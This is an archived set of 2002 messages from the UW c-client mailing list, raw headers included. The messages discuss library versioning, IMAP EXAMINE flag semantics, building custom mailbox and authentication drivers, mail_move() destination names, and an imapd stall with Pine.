Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g89N7FTb015468 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 9 Sep 2002 16:07:15 -0700 Message-Id: Date: Mon, 9 Sep 2002 16:07:17 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vicki Brown Cc: c-client@u.washington.edu Subject: Re: c-client lib really needs a version function... In-Reply-To: <6AC2EC36-C445-11D6-A132-00039378F00E@gene.com> References: <6AC2EC36-C445-11D6-A132-00039378F00E@gene.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 9 Sep 2002, Vicki Brown wrote: > PHP has no way of knowing which version of c-client it's built with. > So, it makes a guess about which version it thinks it WILL be > built with. If it's wrong, there's no way to check. It shouldn't matter to PHP which version of c-client it was built with. If PHP cares what version it was built with, it is doing something wrong. From pinedev@shivax2.cac.washington.edu Mon Sep 9 16:31:43 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 9 Sep 2002 16:31:43 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g89NVg2P012043 for ; Mon, 9 Sep 2002 16:31:42 -0700 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Sep 09 16:31:41 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g89NVbEN011387 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 9 Sep 2002 16:31:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g89NU1k6005922; Mon, 9 Sep 2002 16:30:01 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g89NQA97117622 for ; Mon, 9 Sep 2002 16:26:10 -0700 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Sep 09 16:26:09 2002 -0700 Received: from secure4.developerschoice.net ([209.69.207.2]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g89NQ8JX018401 for ; Mon, 9 Sep 2002 16:26:09 -0700 Received: from taylor.developerschoice.net ([209.69.206.2] helo=office3 ident=hidden-user) by secure4.developerschoice.net with asmtp (Exim 3.34 #4) id 17oXrt-0000j0-00; Mon, 09 Sep 2002 19:22:57 -0400 Message-Id: <7DFBE66616403040B7740D9380A671C702A7AC@EXCHANGE1.developerschoice.com> Date: Mon, 9 Sep 2002 19:26:13 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jeff Breitner" To: "'Vicki Brown'" , Subject: RE: c-client lib really needs a version function... In-Reply-To: <6AC2EC36-C445-11D6-A132-00039378F00E@gene.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0006_01C25836.C339F970" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0006_01C25836.C339F970 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit What's the effect if it guesses wrong? I've never had an issue with PHP linking in the c-client library. -----Original Message----- From: C-CLIENT-owner@u.washington.edu [mailto:C-CLIENT-owner@u.washington.edu] On Behalf Of Vicki Brown Sent: Monday, September 09, 2002 6:42 PM To: c-client@u.washington.edu Subject: c-client lib really needs a version function... PHP has no way of knowing which version of c-client it's built with. So, it makes a guess about which version it thinks it WILL be built with. If it's wrong, there's no way to check. sigh. - Vicki ------=_NextPart_000_0006_01C25836.C339F970 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
    What's=20 the effect if it guesses wrong?  I've never had an issue with PHP = linking=20 in the c-client library.
    -----Original Message-----
    From:=20 C-CLIENT-owner@u.washington.edu = [mailto:C-CLIENT-owner@u.washington.edu] On=20 Behalf Of Vicki Brown
    Sent: Monday, September 09, 2002 = 6:42=20 PM
    To: c-client@u.washington.edu
    Subject: c-client = lib=20 really needs a version function...

    PHP has no way = of=20 knowing which version of c-client it's built with.
    So, it makes a = guess=20 about which version it thinks it WILL be built with. If it's wrong, = there's no=20 way to check.

    sigh.
    - = Vicki ------=_NextPart_000_0006_01C25836.C339F970-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Sep 11 09:44:55 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 11 Sep 2002 09:44:55 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8BGit2P024692 for ; Wed, 11 Sep 2002 09:44:55 -0700 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Wed Sep 11 09:44:54 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8BGipEN005577 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 11 Sep 2002 09:44:51 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8BGgw4G021952; Wed, 11 Sep 2002 09:42:59 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8BGbM97168270 for ; Wed, 11 Sep 2002 09:37:23 -0700 Received: FROM mxu2.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Sep 11 09:37:21 2002 -0700 Received: from hal-5.inet.it (hal-5.inet.it [213.92.5.24]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8BGbJJX016083 for ; Wed, 11 Sep 2002 09:37:20 -0700 Received: from [::ffff:213.92.1.175] by hal-5.inet.it via I-SMTP-4.2.2-422 id 077+YrKWATa0p; Wed, 11 Sep 18:37:17 2002 +0200 Message-Id: <00ce01c259b1$27e92730$af015cd5@MM1> Date: Wed, 11 Sep 2002 18:34:51 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Matteo Gelosa" To: Subject: examine and seen flag MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The examine command opens read-only a mailbox as the rfc reports. It says also that the per-user data cannot be modified. We have an imap2001a with a proprietary driver that in case of examine and fetch body[text] MODIFIES the seen/recent flag. This should be wrong, isn't it? If yes as I suppose is the driver software layer that has to check the read-only status of the mailbox? thanks in advance, Matteo Gelosa -- Matteo Gelosa I.NET S.p.A. Research & Development Via Darwin, 85 - 20019 Settimo Milanese MI mailto:m.gelosa@inet.it Tel. +39.02.32863.1 http://www.inet.it Fax +39.02.32863.7701 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Sep 11 10:13:29 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 11 Sep 2002 10:13:29 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8BHDT2P026377 for ; Wed, 11 Sep 2002 10:13:29 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Wed Sep 11 10:13:28 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8BHDP07011318 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 11 Sep 2002 10:13:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8BH8xOm083732; Wed, 11 Sep 2002 10:08:59 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8BH4G97139860 for ; Wed, 11 Sep 2002 10:04:16 -0700 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Sep 11 10:04:16 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114] (may be forged)) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8BH4Ebq028040 for ; Wed, 11 Sep 2002 10:04:15 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id KAA23249; Wed, 11 Sep 2002 10:04:07 -0700 (PDT) Message-Id: Date: Wed, 11 Sep 2002 09:57:04 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Matteo Gelosa Cc: c-client@u.washington.edu Subject: re: examine and seen flag In-Reply-To: <00ce01c259b1$27e92730$af015cd5@MM1> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 11 Sep 2002 18:34:51 +0200, Matteo Gelosa wrote: > The examine command opens read-only a mailbox as the rfc reports. It says > also that the per-user data cannot be modified. We have an imap2001a with > a proprietary driver that in case of examine and fetch body[text] MODIFIES > the seen/recent flag. This should be wrong, isn't it? If yes as I suppose > is the driver software layer that has to check the read-only status of > the mailbox? EXAMINE should never modify \Recent. Messages that are \Recent stay recent throughout the session (this is true of SELECT too), and in the case of EXAMINE they are recent in the next session as well. Only a SELECT session can turn off \Recent, and it can only do that for subsequent sessions. \Seen can be modified, even in the case of EXAMINE, but not permanently; that is, \Seen is removed from PERMANENTFLAGS and any changes to \Seen do not show up in subsequent sessions. This use of \Seen as a session flag is convenient since it gives the user doing the EXAMINE a clue as to what he's done. It is *ALSO* permissible, but not required, that \Seen be a static flag in the case of EXAMINE, and that attempts to alter it become no-ops. I think that this is less useful. So, in the case that you described, the proprietary driver is OK in as long as it does not make any permanent change to these flags. This means NO change to \Recent, and session-only change to \Seen. From pinedev@shivax2.cac.washington.edu Thu Sep 12 06:40:56 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 12 Sep 2002 06:40:55 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8CDet2P030721 for ; Thu, 12 Sep 2002 06:40:55 -0700 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Thu Sep 12 06:40:54 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8CDepEN003610 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 12 Sep 2002 06:40:51 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8CDad4G030538; Thu, 12 Sep 2002 06:36:39 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8CDXb97066470 for ; Thu, 12 Sep 2002 06:33:38 -0700 Received: FROM mxu2.u.washington.edu BY mailscan3.cac.washington.edu ; Thu Sep 12 06:33:37 2002 -0700 Received: from mc-100.msainfor.com.br ([200.214.151.1]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8CDXZJX021125 for ; Thu, 12 Sep 2002 06:33:36 -0700 Received: from msa-nt1-bh.msa (MSA-NT1-BH [10.51.3.1]) by mc-100.msainfor.com.br with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id R5HWA9ZT; Thu, 12 Sep 2002 10:40:58 -0300 Received: by msa-nt1-bh.msanet with Internet Mail Service (5.5.2653.19) id ; Thu, 12 Sep 2002 10:28:32 -0300 Message-Id: <326CAC9335E7D511AF900008C7F424F3325B70@msa-nt1-bh.msanet> Date: Thu, 12 Sep 2002 10:28:27 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jacques Exelrud To: "'Mark Crispin'" Cc: "'C-CLIENT'" Subject: RE: New driver MIME-Version: 1.0 Content-Type: text/plain X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > -----Original Message----- > From: Mark Crispin [mailto:mrc@Ikkoku-Kan.Panda.COM]On Behalf Of Mark > Crispin > Sent: Wednesday, September 11, 2002 17:37 > To: Jacques Exelrud > Cc: 'IMAP' > Subject: re: New driver > > > On Wed, 11 Sep 2002 16:41:28 -0300, Jacques Exelrud wrote: > > Not sure if this is the correct place to post this > question, if not > > please direct me to the correct address. > > The correct place for such questions is the comp.mail.imap newsgroup. > Will try to post future questions there. > Assuming that you are talking about the UW IMAP server, you Sorry, I forgot to mention that. > can also use > c-client@u.washington.edu > Now I'm subscribed to this list. Which one is the preferred place to send questions ? The List or the newsgroup ? > > The company I work for wish to develop an IMAP > interface to one of > > it's products. I'm planning doing this by developing a > driver to plug into > > the IMAP server. What I'm planning to develop is both a new > authentication > > mechanism and a new mailbox format. I'm not sure if this is > the correct > > approach or if I still need to create something else. > > Assuming that you are talking about the UW IMAP server, you > will need to write > both a "mailbox driver" for your mailbox format, and an > "authentication > driver" for your authentication mechanism. > That what I said. I was unsure if this would be enough or something extra would be needed. > Let's say that your mailbox format is called foo, and your > authentication > mechanism is called bar. You will write a mailbox driver in > imap-????/src/osdep/unix/foo.[ch] > and add it to the c-client library by adding > EXTRADRIVERS=foo > to the make command. You will also write an authentication driver in > imap-????/src/osdep/unix/auth_bar.[ch] > and add it to the c-client library by adding: > EXTRAAUTHENTICATORS=bar > to the make command. So, if you are building on modern > Linux, the resulting > make command will be something like: > make lnp EXTRADRIVERS=foo EXTRAAUTHENTICATORS=bar > > To see what should go into mailbox and authentication > drivers, look at one of > the existing ones to use as a model. For example, consider > imap-????/src/osdep/unix/mbx.[ch] > for a model for the mailbox driver, and > imap-????/src/c-client/auth_gss.[ch] > for a model for the authentication driver. > :) I was planning on using mbx as a "template" for the mailbox but hadn't decided what to use as template for authentication. Will take a look at gss. First I hope that I'm not saying anything foolish based on the fact that I just started analyzing UW's source files... Checking the UW sources mbx.c is 48K big and auth_gss.c is 13K. gss seems to be this size based solely on gss needs as only 2 entry points are implemented. mbx on the other hand has many entry points implemented but many (some?) mbx functionality is implemented by the dummy driver. I suppose that dummy is some kind of common code when the mailbox is file system based. Can you point me to some base code where the mailbox is implemented somewhere else like a database or using some networking protocol ? Haven't checked the provided drivers for pop3 or nntp. Would one of the be a good choice for base code ? Thanks in advance, Jacques From pinedev@shivax2.cac.washington.edu Thu Sep 12 14:08:50 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 12 Sep 2002 14:08:50 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8CL8n2P017659 for ; Thu, 12 Sep 2002 14:08:49 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Sep 12 14:08:49 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8CL8m07023925 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 12 Sep 2002 14:08:48 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8CL7BOm083074; Thu, 12 Sep 2002 14:07:12 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8CL4297102204 for ; Thu, 12 Sep 2002 14:04:03 -0700 Received: FROM mxu4.u.washington.edu BY mailscan5.cac.washington.edu ; Thu Sep 12 14:04:02 2002 -0700 Received: from dhcp239.int.ca.pason.com (firewall.pason.com [216.18.39.158]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8CL41s8028607 for ; Thu, 12 Sep 2002 14:04:02 -0700 Received: (from davis@localhost) by dhcp239.int.ca.pason.com (8.11.6/8.11.6) id g8CL40a07625; Thu, 12 Sep 2002 15:04:00 -0600 Message-Id: <1031864640.1817.311.camel@dhcp239.int.ca.pason.com> Date: 12 Sep 2002 15:04:00 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Guy Davis To: c-client@u.washington.edu Subject: Troubles with mail_move() Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-BWxSrmC66caf7oAAX4f9" Mime-Version: 1.0 X-Authentication-Warning: dhcp239.int.ca.pason.com: davis set sender to davis@dev.pason.com using -f X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --=-BWxSrmC66caf7oAAX4f9 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable I'm running into some strange behavior when I call the mail_move() method. It seems like while other calls like mail_create() strip off the remote part of the mail specification when sending the actual IMAP command, the mail_move() call doesn't. Here's the C calls I making and the IMAP debug output they produce (INBOX is selected): mail_create(queue, "{localhost:143}~/Mail/web_queue"); 00000005 Create ~/Mail/web_queue 00000005 OK CREATE completed mail_move(queue, "1", "{localhost:143}~/Mail/web_queue"); 00000006 COPY 1 "{localhost:143}~/Mail/web_queue" 00000006 NO COPY failed: Can't access server for append This on a RH7.3 box with imap2001a rpms. Any ideas on what I'm doing wrong? Another question I have is how to get the mail_create() to use the default RH mailbox format (UNIX/mbox I think) rather than the mbx format. Thanks for your help. --=20 Guy Davis Phone: (403) 301-3426 Fax: (403) 301-3499 Pason Systems Calgary, Alberta Canada Digitally signed by GnuPG (DSA ID 759A998E at www.keyserver.net) PGP Fingerprint: F685 97D0 0FC6 F016 E9EB CCD3 F183 1BC7 759A 998E=20 --=-BWxSrmC66caf7oAAX4f9 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA9gQFA8YMbx3WamY4RAoPfAJ9qqV42NprAsa50IM05l6HV+d3KhACeOYYP tTmL3xu3c91S7H3yNTdxt8M= =zJUK -----END PGP SIGNATURE----- --=-BWxSrmC66caf7oAAX4f9-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Sep 12 16:00:27 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 12 Sep 2002 16:00:27 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8CN0R2P022415 for ; Thu, 12 Sep 2002 16:00:27 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Thu Sep 12 16:00:25 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8CN0O07028008 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 12 Sep 2002 16:00:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8CMwe4G024740; Thu, 12 Sep 2002 15:58:40 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8CMuC97174142 for ; Thu, 12 Sep 2002 15:56:12 -0700 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Thu Sep 12 15:56:10 2002 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8CMuAbr017909 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 12 Sep 2002 15:56:10 -0700 Received: from mailscan-out2.cac.washington.edu (mailscan-out2.cac.washington.edu [140.142.33.17]) by mxout4.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8CMu3Qn024547 for ; Thu, 12 Sep 2002 15:56:04 -0700 Received: FROM smtp.washington.edu BY mailscan-out2.cac.washington.edu ; Thu Sep 12 15:55:54 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8CMtrCR011584 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 12 Sep 2002 15:55:53 -0700 Message-Id: Date: Thu, 12 Sep 2002 15:55:55 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Guy Davis Cc: c-client@u.washington.edu Subject: Re: Troubles with mail_move() In-Reply-To: <1031864640.1817.311.camel@dhcp239.int.ca.pason.com> References: <1031864640.1817.311.camel@dhcp239.int.ca.pason.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 12 Sep 2002, Guy Davis wrote: > I'm running into some strange behavior when I call the mail_move() > method. It seems like while other calls like mail_create() strip off > the remote part of the mail specification when sending the actual IMAP > command, the mail_move() call doesn't. mail_copy() and mail_move() are different from all other c-client calls in that they apply to the current mailbox, but take a mailbox name argument as the destination. The mailbox name in these two calls is *NOT* a c-client mailbox name, but rather a mailbox name in the context of the currently selected stream. This has a number of subtle implications. In the case of a local selected mailbox, the destination mailbox name must be a mailbox name in the same format as the source, UNLESS the application has armed a mailproxycopy_t routine. If a mailproxycopy_t routine is armed, then c-client only verifies that the destination mailbox exists, and then has the mailproxycopy_t routine do the work. In the case of a POP3 or NNTP mailbox, mail_copy()/mail_move() calls are invalid unless the application has armed a mailprroxycopy_t routine; if so then the mailproxycopy_t routine is called to do the work. In the case of an IMAP mailbox, the entire destination mailbox name is a mailbox name on the IMAP server. If the IMAP server returns a referral *AND* a mailproxycopy_t routine is armed, the mailproxycopy_t routine is called to do the work on the name returned by the referral. > Another question I have is how to get the mail_create() to use the > default RH mailbox format (UNIX/mbox I think) rather than the mbx > format. mail_create() defaults to whatever the default format it was built with, which normally is the traditional UNIX mailbox format. If c-client was built to default to creating in mbx format, the person doing the build presumably had a reason for doing so, and you should not override it in your application. If you insist upon overriding it in your application, you can either provide the driver prototype for the traditional UNIX mailbox format as the MAILSTREAM to mail_create(), or you can prefix the name with "#driver.unix/". Note that if I get a bug report saying "I built c-client to default to mbx format, but such-and-such application still creates in traditional UNIX format even after I relunk it with the new c-client", I will probably not be very complimentary in my commentary about the application author after wasting hours of time only to find out that it's because my advice was ignored....... ;-) -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Sep 17 15:25:06 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 17 Sep 2002 15:25:06 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8HMP62P027669 for ; Tue, 17 Sep 2002 15:25:06 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Sep 17 15:25:05 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8HMP407023288 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 17 Sep 2002 15:25:04 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8HMJmOm004102; Tue, 17 Sep 2002 15:19:49 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8HMGD97082402 for ; Tue, 17 Sep 2002 15:16:13 -0700 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Sep 17 15:16:13 2002 -0700 Received: from fsc.cpsc.ucalgary.ca (fsc.cpsc.ucalgary.ca [136.159.2.3]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8HMGDs8010341 for ; Tue, 17 Sep 2002 15:16:13 -0700 Received: from imgw1.cpsc.ucalgary.ca (ons-imgw1 [192.168.1.66]) by fsc.cpsc.ucalgary.ca (8.12.2/8.12.2) with ESMTP id g8HMEgcK013259 for ; Tue, 17 Sep 2002 16:16:12 -0600 Received: from ms210a.cpsc.ucalgary.ca (ms210a [136.159.4.248]) by imgw1.cpsc.ucalgary.ca (8.12.3/8.12.3) with ESMTP id g8HMEfRO013690 for ; Tue, 17 Sep 2002 16:14:41 -0600 Received: (from arlt@localhost) by ms210a.cpsc.ucalgary.ca (8.12.1/8.12.1/Submit) id g8HMEfuP016581 for c-client@u.washington.edu; Tue, 17 Sep 2002 16:14:41 -0600 (MDT) Message-Id: <20020917221441.GA16077@ms210a.cpsc.ucalgary.ca> Date: Tue, 17 Sep 2002 16:14:41 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Brad Arlt To: c-client@u.washington.edu Subject: imapd seems to be stalling on certain messages Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Virus-Scanned: by amavis-milter (http://amavis.org/) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I recently attempted to upgrade to imap-2002-RC5 and 2002-RC6. When viewing certain messages with Pine (v4.44), and during the startup of TkRat 2.0.2 and 2.1 if certain messages are present in the INBOX, the imapd server becomes unresponsive. A strace reveals what looks like a blocking read on the imap server. If the messages are placed in other folders, the same problem exists. If each message is isolated in its own folder, the problem still presists. I regressed to 2001.309 and this "fixed" the problem, but would desperately like to run 2002. Oddly I have not been able to reproduce the errors with mutt, so there seems to be a client side work around possible. I believe I can provide you with a mailbox that will reproduce this problem in Pine (I have to check with the owner of the message to see if disclosing it is OK). I can also provide a network trace, but I cannot for the life of me figure out how to tell Pine to not use TLS even though the server supports it. Anyone? I am running imapd on IRIX64 6.5.17, and have compiled imapd with SGI's cc using OpenSSL 0.9.6c for RC5 and 0.9.6g for RC6 with the same effect. And I am using Unix mailbox formats. Anyone have any clue what the deal is? ----------------------------------------------------------------------- __o Bradley Arlt Security Team Lead 